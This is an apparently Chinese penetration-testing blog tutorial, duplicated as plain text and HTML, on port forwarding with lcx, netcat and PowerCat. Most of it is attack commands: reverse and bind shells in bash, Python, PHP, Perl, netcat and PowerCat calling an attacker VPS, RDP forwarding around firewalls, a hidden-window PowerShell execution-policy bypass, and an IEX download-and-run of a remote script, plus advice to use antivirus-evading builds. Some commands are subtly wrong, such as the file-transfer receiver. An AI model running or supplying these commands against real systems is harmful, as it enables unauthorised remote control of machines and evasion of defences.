介绍
传输层技术包括TCP隧道、UDP隧道和常规端口转发等。
如果内网防火墙阻止了对指定端口的访问,在会的目标主机机器的权限后,可以使用iptables打开指定端口。
如果内网中存在一系列防御系统,TCP、UDP流量会被大量拦截。
第1个版本:(感觉有后门或者什么漏洞 使用起来怪怪的)
https://github.com/Brucetg/Pentest-tools
第2个版本:
https://github.com/UndefinedIdentifier/LCX
来源:https://zhuanlan.zhihu.com/p/166027768
这2个版本会在连接成功登录的时候,报错
1 Icx端口转发
Icl是一个基于Socket套接字实现的端口转发工具,有windows和linux两个版本。
有一个弊端只能windows公网服务器可以使用。
windows:lcx.exe
linux:portmap
一个正常的Socket隧道必须具备两端:
一端为服务端:监听一个端口,等待客户端连接。
另一端为客户端:通过传入服务端ip地址和端口,才能主动与服务器连接。
1.1 内网端口转发
测试时被360拦截,可以用面杀版本
环境:
公网vps(linux):192.168.56.22
内网主机win10:192.168.56.6
在目标机器上执行如下命令,将目标机器3389
端口的所有数据转发到公网vps
的4444
端口上。
lcx.exe -slave <公网主机ip地址> 4444 127.0.0.1 3389
lcx.exe -slave 192.168.56.6 4444 127.0.0.1 3389
在vps
上执行如下命令,将本机4444
端口上监听的所有数据转发到5555端口上
lcx.exe -listen 4444 5555
此时,用mstsc
登录公网主机ip地址:5555
,或者在vps上用mstsc登录主机127.0.0.1:5555
端口,即可访问目标主机的3389端口
本地端口映射:如3389的数据无法从防火墙通过,可以将目标服务器相应的
端口数据传到防火墙允许的其他端口(例如53)
icx -tran 53 <目标主机ip地址> 3389
2 netcat
Netcat是一款非常出名的网络工具,简称“NC”,有渗透测试中的“瑞士军刀”之称。它可以用作端口监听、端口扫描、远程文件传输、还可以实现远程shell等功能
cat功能是读取一个文件的内容输出到屏幕上
netstat也是,从网络的一端读取数据,输出到网络的另一端(可以使用TCP和UDP协议)
查看安装:nc-help
man nc
2.1 安装
kali
sudo yum install nc.x96_64
还有wget方法
kali自带
2.2 使用
2.2.1 帮助
└─$ nc -h
[v1.10-46]
连接到某处:nc [-options] 主机名 port[s] [ports] ...
监听入站:nc -l -p port [-options] [hostname] [port]
选项:
-c shell 命令为‘-e’;使用 /bin/sh 来执行 [危险!!]
-e 文件名程序在连接后执行 [危险!!]
-b 允许广播
-g 网关源路由跳点[s],最多 8 个
-G num 源路由指针:4, 8, 12, ...
-h 这个垃圾
-i secs 发送线路的延迟间隔,扫描的端口
-k 在套接字上设置 keepalive 选项
-l 监听模式,用于入站连接
-n 仅数字 IP 地址,无 DNS
-o
-p port 本地端口号
-r 随机化本地和远程端口
-q secs 在标准输入 EOF 后退出并延迟 secs
-s addr 本地源地址
-T tos 设置服务类型
-t 回答 TELNET 协商
-u UDP 模式
-v verbose [使用两次更详细]
-w secs 连接和最终网络读取超时
-C 发送 CRLF 作为行尾
-z 零 I/O 模式 [用于扫描]
端口号可以是单独的或范围:lo-hi [inclusive];
端口名称中的连字符必须用反斜杠转义(例如“ftp\-data”)。
2.2.2 连接远程主机
nc -nvv 121.5.173.9 80

2.2.3 扫描指定端口
nc -v 192.168.56.22 22

2.2.4 扫描某段端口
nc -v -z 192.168.56.22 20-8089

2.2.5 扫描指定主机的某个UDP端口段,并且返回端口信息
nc -v -z -u 192.168.56.22 20-8089

2.2.6 扫描指定主机端口段信息,并且设置超时时间为3秒
nc -vv -z -w 3 192.168.56.22 20-30

2.2.7 监听端口
nc -l -p local_port
nc -l -p 80
这里直接浏览器请求

2.2.8 FTP匿名探测
nc 192.168.56.22 21
2.2.9 文件传输
传输端
nc 192.168.56.22 8080 < test.txt
接收端
nc 192.168.56.22 8080 < QQ.apk
2.2.10 简易聊天
目标机
nc 192.168.56.22 8888
本机kali
nc -l 8888

2.3 获取shell
2.3.1 获取正向Shell
定义:客户端连接服务器,客户想获取服务器的shell
监听目标主机4444端口
linux
nc -lvp 4444 -e /bin/sh
windows
nc -lvp 4444 -e c:\windows\system32\cmd.exe
输入下面命令,连接目标主机4444端口
nc 192.168.56.22 4444

2.3.2 反向Shell
定义:服务器想要获取客户端的Shell
在本地或者VPS主机上监听本地9999端口
nc -lvp 9999
在目标主机中输入,连接VPS主机的9999端口
nc 192.168.56.22 9999 -e /bin/sh # Linux
nc 192.168.56.22 9999 -e c:\windows\system32\cmd.exe # Windows

2.4 目标机没有nc时反弹shell
2.4.1 Pyhton反向Shell
在VPS/攻击者自己的服务器上,监听2222端口
nc -lvp 2222
目标机
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.3",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2.4.2 Bash反向Shell
在VPS/攻击者自己的服务器上(公网ip),监听6666端口
nc -lvp 6666
目标机
bash -i>&/dev/tcp/192.168.56.3/6666 0>&1

2.4.3 PHP 反向Shell
在VPS/攻击者自己的服务器上(公网ip),监听6666端口
nc -lvp 6666
目标机
php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
2.4.4 Perl反向Shell
在VPS/攻击者自己的服务器上(公网ip),监听6666端口
nc -lvp 6666
目标机
如果目标主机使用的Perl语言,则可以使用
perl -e 'use Socket;$i="192.168.56.3";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

这里目标机实在CentOS上测试的,说明支持Perl
3 PowerCat
PowerCat可以说是nc的PowerShell版本,PowerCat可以通过执行命令回到本地运行,也可以使用远程权限运行。
据说,不会留下任何痕迹。
-c
:指定一个ip地址
-p
:指定一个端口
-v
:显示详情
-l
:监听模式,用于入站连接
-p
:本地端口号
-e
:程序重定向
-v
:显示详情
3.1 下载
https://github.com/besimorhino/powercat
3.2 执行脚本
get-executionpolicy
Restricted——默认的设置,不允许任何script运行
AllSigned——-只能运行经过数字证书签名的script
RemoteSigned—-运行本地的script不需要数字签名,但是运行从网络上下载的script就必须要有数字签名
Unrestricted—-允许所有的script运行
要运行脚本,策略必须为Unrestricted
直接执行的话,肯定权限不够
3.2.1 本地权限绕过
PowerShell.exe -ExecutionPolicy Bypass -File powercat.ps1
3.2.2 本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -WindowStyle Hidden -File powercat.ps1
此项会报错,
3.2.3用IEX下载远程ps1脚本绕过
IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.56.6:8888/powercat.ps1')
成功:执行完没有任何提示
3.3 socket通信
kali
nc -l -p 8888 -vv
目标机
powercat -c 192.168.56.3 -p 8888 -v

3.4 获取shell
3.4.1 正向连接
也就是让目标机开放一个外部可连接的端口,好干事
目标机
powercat -l -p 8888 -e cmd.exe -v
kali
netcat -vv 192.168.56.6 8888

成功返回一个cmd命令行
3.4.2 反向连接
kali
netcat -l -p 8888 -v
目标机
powercat -c 192.168.56.3 -p 8888 -e cmd.exe

3.5 返回一个powershell
环境:两台windows
目标机
powercat -l -p 9999 -v
监听机
powercat -c 192.168.56.6 -p 9999 -ep
-eq
:返回powershell
3.6 文件上传
服务端
powercat -l -p 9999 -of ./666.txt -v
接收端
powercat -c 192.168.56.6 -p 9999 -i c:666.txt -v
<h2><a id="_0"></a>介绍</h2>
<p>传输层技术包括TCP隧道、UDP隧道和常规端口转发等。</p>
<p>如果内网防火墙阻止了对指定端口的访问,在会的目标主机机器的权限后,可以使用iptables打开指定端口。</p>
<p>如果内网中存在一系列防御系统,TCP、UDP流量会被大量拦截。</p>
<pre><div class="hljs"><code class="lang-shell">第1个版本:(感觉有后门或者什么漏洞 使用起来怪怪的)
https://github.com/Brucetg/Pentest-tools
第2个版本:
https://github.com/UndefinedIdentifier/LCX
来源:https://zhuanlan.zhihu.com/p/166027768
</code></div></pre>
<p>这2个版本会在连接成功登录的时候,报错</p>
<h2><a id="1_Icx_21"></a>1 Icx端口转发</h2>
<p>Icl是一个基于Socket套接字实现的端口转发工具,有windows和linux两个版本。</p>
<p>有一个弊端只能windows公网服务器可以使用。</p>
<p>windows:lcx.exe</p>
<p>linux:portmap</p>
<p>一个正常的Socket隧道必须具备两端:</p>
<p>一端为服务端:监听一个端口,等待客户端连接。</p>
<p>另一端为客户端:通过传入服务端ip地址和端口,才能主动与服务器连接。</p>
<h3><a id="11__37"></a>1.1 内网端口转发</h3>
<p>测试时被360拦截,可以用面杀版本</p>
<p>环境:</p>
<p>公网vps(linux):192.168.56.22</p>
<p>内网主机win10:192.168.56.6</p>
<p>在目标机器上执行如下命令,将目标机器<code>3389</code>端口的所有数据转发到公网<code>vps</code>的<code>4444</code>端口上。</p>
<pre><code class="lang-powershell">lcx.exe -slave <公网主机ip地址> 4444 127.0.0.1 3389
lcx.exe -slave 192.168.56.6 4444 127.0.0.1 3389
</code></pre>
<p>在<code>vps</code>上执行如下命令,将本机<code>4444</code>端口上监听的所有数据转发到5555端口上</p>
<pre><code class="lang-powershell">lcx.exe -listen 4444 5555
</code></pre>
<p>此时,用<code>mstsc</code>登录<code>公网主机ip地址:5555</code>,或者在vps上用mstsc登录主机<code>127.0.0.1:5555</code>端口,即可访问目标主机的3389端口</p>
<p>本地端口映射:如3389的数据无法从防火墙通过,可以将目标服务器相应的</p>
<p>端口数据传到防火墙允许的其他端口(例如53)</p>
<pre><code class="lang-powershell">icx -tran 53 <目标主机ip地址> 3389
</code></pre>
<h2><a id="2_netcat_77"></a>2 netcat</h2>
<p>Netcat是一款非常出名的网络工具,简称“NC”,有渗透测试中的“瑞士军刀”之称。它可以用作端口监听、端口扫描、远程文件传输、还可以实现远程shell等功能</p>
<p>cat功能是读取一个文件的内容输出到屏幕上</p>
<p>netstat也是,从网络的一端读取数据,输出到网络的另一端(可以使用TCP和UDP协议)</p>
<p>查看安装:<code>nc-help</code> <code>man nc</code></p>
<h3><a id="21__87"></a>2.1 安装</h3>
<p>kali</p>
<pre><div class="hljs"><code class="lang-shell">sudo yum install nc.x96_64
</code></div></pre>
<p>还有wget方法</p>
<p>kali自带</p>
<h3><a id="22__101"></a>2.2 使用</h3>
<h4><a id="221__103"></a>2.2.1 帮助</h4>
<pre><div class="hljs"><code class="lang-shell">└─$ nc -h
[v1.10-46]
连接到某处:nc [-options] 主机名 port[s] [ports] ...
监听入站:nc -l -p port [-options] [hostname] [port]
选项:
-c shell 命令为‘-e’;使用 /bin/sh 来执行 [危险!!]
-e 文件名程序在连接后执行 [危险!!]
-b 允许广播
-g 网关源路由跳点[s],最多 8 个
-G num 源路由指针:4, 8, 12, ...
-h 这个垃圾
-i secs 发送线路的延迟间隔,扫描的端口
-k 在套接字上设置 keepalive 选项
-l 监听模式,用于入站连接
-n 仅数字 IP 地址,无 DNS
-o
-p port 本地端口号
-r 随机化本地和远程端口
-q secs 在标准输入 EOF 后退出并延迟 secs
-s addr 本地源地址
-T tos 设置服务类型
-t 回答 TELNET 协商
-u UDP 模式
-v verbose [使用两次更详细]
-w secs 连接和最终网络读取超时
-C 发送 CRLF 作为行尾
-z 零 I/O 模式 [用于扫描]
端口号可以是单独的或范围:lo-hi [inclusive];
端口名称中的连字符必须用反斜杠转义(例如“ftp\-data”)。
</code></div></pre>
<h4><a id="222__137"></a>2.2.2 连接远程主机</h4>
<pre><div class="hljs"><code class="lang-shell">nc -nvv 121.5.173.9 80
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/c5cf1260156ef932e90e9b9c3e1e66b1.png.png" alt="netcat连接远程主机" /></p>
<h4><a id="223__147"></a>2.2.3 扫描指定端口</h4>
<pre><div class="hljs"><code class="lang-shell">nc -v 192.168.56.22 22
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/dd14469b41eef021561d46c10af24ac4.png" alt="netcat扫描指定端口" /></p>
<h4><a id="224__157"></a>2.2.4 扫描某段端口</h4>
<pre><div class="hljs"><code class="lang-shell">nc -v -z 192.168.56.22 20-8089
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/5b0153de214fc7c668c1f0b34e63b2c1.png" alt="netcat扫描某段端口" /></p>
<h4><a id="225_UDP_167"></a>2.2.5 扫描指定主机的某个UDP端口段,并且返回端口信息</h4>
<pre><div class="hljs"><code class="lang-shell">nc -v -z -u 192.168.56.22 20-8089
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/9ee3c7aa69f86fcfe63938e2185a5daa.png" alt="netcat扫描指定主机的某个UDP端口段,并且返回端口信息" /></p>
<h4><a id="226_3_175"></a>2.2.6 扫描指定主机端口段信息,并且设置超时时间为3秒</h4>
<pre><div class="hljs"><code class="lang-shell">nc -vv -z -w 3 192.168.56.22 20-30
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/1fa592795fd1796e11cac4cae0acbbdb.png" alt="扫描指定主机端口段信息,并且设置超时时间为3秒" /></p>
<h4><a id="227__185"></a>2.2.7 监听端口</h4>
<pre><div class="hljs"><code class="lang-shell">nc -l -p local_port
</code></div></pre>
<pre><div class="hljs"><code class="lang-shell">nc -l -p 80
</code></div></pre>
<p>这里直接浏览器请求</p>
<p><img src="https://static.couragesteak.com/article/b06348fbb4ff2f57f841c19724163d6e.png" alt="netcat监听端口" /></p>
<h4><a id="228_FTP_201"></a>2.2.8 FTP匿名探测</h4>
<pre><div class="hljs"><code class="lang-shell">nc 192.168.56.22 21
</code></div></pre>
<h4><a id="229__209"></a>2.2.9 文件传输</h4>
<p>传输端</p>
<pre><div class="hljs"><code class="lang-shell">nc 192.168.56.22 8080 < test.txt
</code></div></pre>
<p>接收端</p>
<pre><div class="hljs"><code class="lang-shell">nc 192.168.56.22 8080 < QQ.apk
</code></div></pre>
<h4><a id="2210__225"></a>2.2.10 简易聊天</h4>
<p>目标机</p>
<pre><div class="hljs"><code class="lang-shell">nc 192.168.56.22 8888
</code></div></pre>
<p>本机kali</p>
<pre><div class="hljs"><code class="lang-shell">nc -l 8888
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/a56e57b9ff47dfd79657c9c57c3fed33.png" alt="netcat简易聊天" /></p>
<h3><a id="23_shell_243"></a>2.3 获取shell</h3>
<h4><a id="231_Shell_245"></a>2.3.1 获取正向Shell</h4>
<p>定义:客户端连接服务器,客户想获取服务器的shell</p>
<p>监听目标主机4444端口</p>
<p>linux</p>
<pre><div class="hljs"><code class="lang-shell">nc -lvp 4444 -e /bin/sh
</code></div></pre>
<p>windows</p>
<pre><div class="hljs"><code class="lang-shell">nc -lvp 4444 -e c:\windows\system32\cmd.exe
</code></div></pre>
<p>输入下面命令,连接目标主机4444端口</p>
<pre><div class="hljs"><code class="lang-shell">nc 192.168.56.22 4444
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/1cd3d2469f7fe3ec54e695ab925331a6.png" alt="netcat获取正向Shell" /></p>
<h4><a id="232_Shell_275"></a>2.3.2 反向Shell</h4>
<p>定义:服务器想要获取客户端的Shell</p>
<p>在本地或者VPS主机上监听本地9999端口</p>
<pre><div class="hljs"><code class="lang-shell">nc -lvp 9999
</code></div></pre>
<p>在目标主机中输入,连接VPS主机的9999端口</p>
<pre><div class="hljs"><code class="lang-shell">nc 192.168.56.22 9999 -e /bin/sh # Linux
nc 192.168.56.22 9999 -e c:\windows\system32\cmd.exe # Windows
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/1e45c84f7a5f319f8632deaa16fd045c.png" alt="netcat反向Shell" /></p>
<h3><a id="24_ncshell_296"></a>2.4 目标机没有nc时反弹shell</h3>
<h4><a id="241_PyhtonShell_298"></a>2.4.1 Pyhton反向Shell</h4>
<p>在VPS/攻击者自己的服务器上,监听2222端口</p>
<pre><div class="hljs"><code class="lang-shell">nc -lvp 2222
</code></div></pre>
<p>目标机</p>
<pre><div class="hljs"><code class="lang-python">python -c <span class="hljs-string">'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.3",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</span>
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/9a552cdfc897464125bd712a7d9ed8a1.png" alt="netcat Pyhton反向Shell" /></p>
<h4><a id="242_BashShell_316"></a>2.4.2 Bash反向Shell</h4>
<p>在VPS/攻击者自己的服务器上(公网ip),监听6666端口</p>
<pre><div class="hljs"><code class="lang-shell">nc -lvp 6666
</code></div></pre>
<p>目标机</p>
<pre><div class="hljs"><code class="lang-shell">bash -i>&/dev/tcp/192.168.56.3/6666 0>&1
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/08e8d1cc559a28fa4acc3b382aea1d20.png" alt="netcat Bash反向Shell" /></p>
<h4><a id="243_PHP_Shell_334"></a>2.4.3 PHP 反向Shell</h4>
<p>在VPS/攻击者自己的服务器上(公网ip),监听6666端口</p>
<pre><div class="hljs"><code class="lang-shell">nc -lvp 6666
</code></div></pre>
<p>目标机</p>
<pre><div class="hljs"><code class="lang-php">php -r <span class="hljs-string">'$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'</span>
</code></div></pre>
<h4><a id="244_PerlShell_350"></a>2.4.4 Perl反向Shell</h4>
<p>在VPS/攻击者自己的服务器上(公网ip),监听6666端口</p>
<pre><div class="hljs"><code class="lang-shell">nc -lvp 6666
</code></div></pre>
<p>目标机</p>
<p>如果目标主机使用的Perl语言,则可以使用</p>
<pre><div class="hljs"><code class="lang-perl">perl -e <span class="hljs-string">'use Socket;$i="192.168.56.3";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'</span>
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/f497326b5685829c55d8215809be34e1.png" alt="Perl反向Shell" /></p>
<p>这里目标机实在CentOS上测试的,说明支持Perl</p>
<h2><a id="3_PowerCat_372"></a>3 PowerCat</h2>
<p>PowerCat可以说是nc的PowerShell版本,PowerCat可以通过执行命令回到本地运行,也可以使用远程权限运行。</p>
<p>据说,不会留下任何痕迹。</p>
<p><code>-c</code>:指定一个ip地址</p>
<p><code>-p</code>:指定一个端口</p>
<p><code>-v</code>:显示详情</p>
<p><code>-l</code>:监听模式,用于入站连接</p>
<p><code>-p</code>:本地端口号</p>
<p><code>-e</code>:程序重定向</p>
<p><code>-v</code>:显示详情</p>
<h3><a id="31__396"></a>3.1 下载</h3>
<pre><div class="hljs"><code class="lang-shell">https://github.com/besimorhino/powercat
</code></div></pre>
<h3><a id="32__404"></a>3.2 执行脚本</h3>
<pre><div class="hljs"><code class="lang-shell">get-executionpolicy
</code></div></pre>
<p>Restricted——默认的设置,不允许任何script运行</p>
<p>AllSigned——-只能运行经过数字证书签名的script</p>
<p>RemoteSigned—-运行本地的script不需要数字签名,但是运行从网络上下载的script就必须要有数字签名</p>
<p>Unrestricted—-允许所有的script运行</p>
<p>要运行脚本,策略必须为Unrestricted</p>
<p>直接执行的话,肯定权限不够</p>
<h4><a id="321__424"></a>3.2.1 本地权限绕过</h4>
<pre><code class="lang-powershell">PowerShell.exe -ExecutionPolicy Bypass -File powercat.ps1
</code></pre>
<h4><a id="322__432"></a>3.2.2 本地隐藏绕过权限执行脚本</h4>
<pre><code class="lang-powershell">PowerShell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -WindowStyle Hidden -File powercat.ps1
</code></pre>
<p>此项会报错,</p>
<h4><a id="323IEXps1_442"></a>3.2.3用IEX下载远程ps1脚本绕过</h4>
<pre><code class="lang-powershell">IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.56.6:8888/powercat.ps1')
</code></pre>
<p>成功:执行完没有任何提示</p>
<h3><a id="33_socket_450"></a>3.3 socket通信</h3>
<p>kali</p>
<pre><code class="lang-powershell">nc -l -p 8888 -vv
</code></pre>
<p>目标机</p>
<pre><code class="lang-powershell">powercat -c 192.168.56.3 -p 8888 -v
</code></pre>
<p><img src="https://static.couragesteak.com/article/d0dfa0665650d9031bdac083628e0590.png" alt="socket通信" /></p>
<h3><a id="34_shell_466"></a>3.4 获取shell</h3>
<h4><a id="341__468"></a>3.4.1 正向连接</h4>
<p>也就是让目标机开放一个外部可连接的端口,好干事</p>
<p>目标机</p>
<pre><code class="lang-powershell">powercat -l -p 8888 -e cmd.exe -v
</code></pre>
<p>kali</p>
<pre><code class="lang-powershell">netcat -vv 192.168.56.6 8888
</code></pre>
<p><img src="https://static.couragesteak.com/article/0c4cc1d299192709df06098f208fd5d4.png" alt="powershell正向连接" /></p>
<p>成功返回一个cmd命令行</p>
<h4><a id="342__488"></a>3.4.2 反向连接</h4>
<p>kali</p>
<pre><code class="lang-powershell">netcat -l -p 8888 -v
</code></pre>
<p>目标机</p>
<pre><code class="lang-powershell">powercat -c 192.168.56.3 -p 8888 -e cmd.exe
</code></pre>
<p><img src="https://static.couragesteak.com/article/4d2ce50d16dfda4935f56c6862e6d5ec.png" alt="powershell反向连接" /></p>
<h3><a id="35_powershell_504"></a>3.5 返回一个powershell</h3>
<p>环境:两台windows</p>
<p>目标机</p>
<pre><code class="lang-powershell">powercat -l -p 9999 -v
</code></pre>
<p>监听机</p>
<pre><code class="lang-powershell">powercat -c 192.168.56.6 -p 9999 -ep
</code></pre>
<p><code>-eq</code>:返回powershell</p>
<h3><a id="36__522"></a>3.6 文件上传</h3>
<p>服务端</p>
<pre><code class="lang-powershell">powercat -l -p 9999 -of ./666.txt -v
</code></pre>
<p>接收端</p>
<pre><code class="lang-powershell">powercat -c 192.168.56.6 -p 9999 -i c:666.txt -v
</code></pre>
留言